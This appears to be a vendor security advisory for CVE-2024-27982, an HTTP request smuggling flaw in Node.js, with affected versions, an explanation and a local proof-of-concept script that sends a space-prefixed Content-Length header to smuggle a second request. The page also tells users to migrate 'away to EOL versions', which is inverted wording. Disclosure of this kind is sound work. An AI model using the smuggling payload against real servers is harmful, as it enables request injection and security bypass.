CVE-2024-27982

HTTP Request Smuggling
Affects
Node.js
in
Node.js
No items found.
Versions
<21.7.2, <20.12.1, <v18.20.1, <= 16.20.2, <=v14.21.3, <= v12.22.12

Patch Available.

Exclamation circle icon
Patch Available

This Vulnerability has been fixed in the Never-Ending Support (NES) version offered by HeroDevs.

Overview

Node.js, a widely used JavaScript runtime built on Chrome's V8 engine, is affected by a medium vulnerability in its HTTP server. The issue arises due to improper handling of malformed HTTP headers, specifically when a space precedes the Content-Length header. This misinterpretation allows attackers to exploit HTTP request smuggling, a technique where a single HTTP request is manipulated to be processed as multiple requests by different components of a server or proxy chain.

‍

An attacker can craft a request with a leading space before Content-Length, causing Node.js to process it incorrectly, potentially enabling unauthorized request injection, cache poisoning, or security bypasses.

‍

Details

Module Info

  • Product: Node.js
  • Affected versions: <21.7.2, <20.12.1, <v18.20.1, <= 16.20.2, <=v14.21.3, <= v12.22.12
  • GitHub repository: https://github.com/nodejs/node
  • Fixed in: Node.js NES v12, v14, v16, v18

‍

Vulnerability Info

The vulnerability exists because Node.js does not correctly handle HTTP headers that contain a leading space before the Content-Length field. The HTTP/1.1 specification (RFC 7230) states that header fields should be case-insensitive and that leading spaces should not affect parsing. However, in this case, the extra space prevents the server from properly recognizing Content-Length, leading to inconsistent interpretation of the request body.

‍

An attacker can craft a request with a space-prefixed Content-Length header and include a second, smuggled request in the request body. Since the Node.js HTTP server does not correctly validate the malformed header, it processes the second request separately, bypassing normal security checks.

‍

This vulnerability is particularly dangerous when Node.js is deployed behind a proxy or load balancer that normalizes headers differently. If the proxy sees Content-Length as invalid but Node.js accepts it, an attacker can use this discrepancy to inject and execute unauthorized requests.

‍

Proof Of Concept

A full reproduction:

const http = require('http');
const net = require('net');
const PORT = 8080;

const server = http.createServer((req, res) => {
    if (req.url === '/hello') {
        res.end('Hello, World!\n');
    } else if (req.url === '/hacked') {
        res.end(`You have been ${req.headers['random']}!\n`);
    }
});

server.listen(PORT, () => {
    const client = new net.Socket();
    client.connect(PORT, '127.0.0.1', () => {
        client.write('POST /hello HTTP/1.1\r\n' +
            'Host: localhost:8080\r\n' +
            ' Content-length: 0\r\n' +
            '\r\n' +
            'GET /hacked HTTP/1.1\r\n' +
            'random: hacked\r\n' +
            '\r\n');
    });

    client.on('data', (data) => {
        console.log(data.toString());
        client.end();
        server.close();
    });

    client.on('close', () => {
        server.close();
    });
});

‍

Mitigation

The v16, v14, v12 lines of the Node.js projects are End Of Life and will not receive any updates to address this issue.

‍

Users of the affected components should apply one of the following mitigations:

  • Migrate affected applications away to EOL versions.
  • Leverage a commercial support partner like HeroDevs for post-EOL security support.

‍

Credits

  • bpingel (finder)
Vulnerability Details
Severity
Level
CVSS Assessment
Low
>=0 <4
Medium
>=4 <6
High
>=6 <8
Critical
>=8 <10
Medium
ID
CVE-2024-27982
PROJECT Affected
Node.js
Versions Affected
<21.7.2, <20.12.1, <v18.20.1, <= 16.20.2, <=v14.21.3, <= v12.22.12
NES Versions Affected
Published date
May 1, 2024
≈ Fix date
May 1, 2024
Category
HTTP Request Smuggling
Vex Document
Download VEXHow do I use it?
Sign up for the latest vulnerability alerts fixed in
NES for Node.js
Rss feed icon
Subscribe via RSS
or

By submitting the form I acknowledge receipt of our Privacy Policy.

Thanks for signing up for our Newsletter! We look forward to connecting with you.
Oops! Something went wrong while submitting the form.